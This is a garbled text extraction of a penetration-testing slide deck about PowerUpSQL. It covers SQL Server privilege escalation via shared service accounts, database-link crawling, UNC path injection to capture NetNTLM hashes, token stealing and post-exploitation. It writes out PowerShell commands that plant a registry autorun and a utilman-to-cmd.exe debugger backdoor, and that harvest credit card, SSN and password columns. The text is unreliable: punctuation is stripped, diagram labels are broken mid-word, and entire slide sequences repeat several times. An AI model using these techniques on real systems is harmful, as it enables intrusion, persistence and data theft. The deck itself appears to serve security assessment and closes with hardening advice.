Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
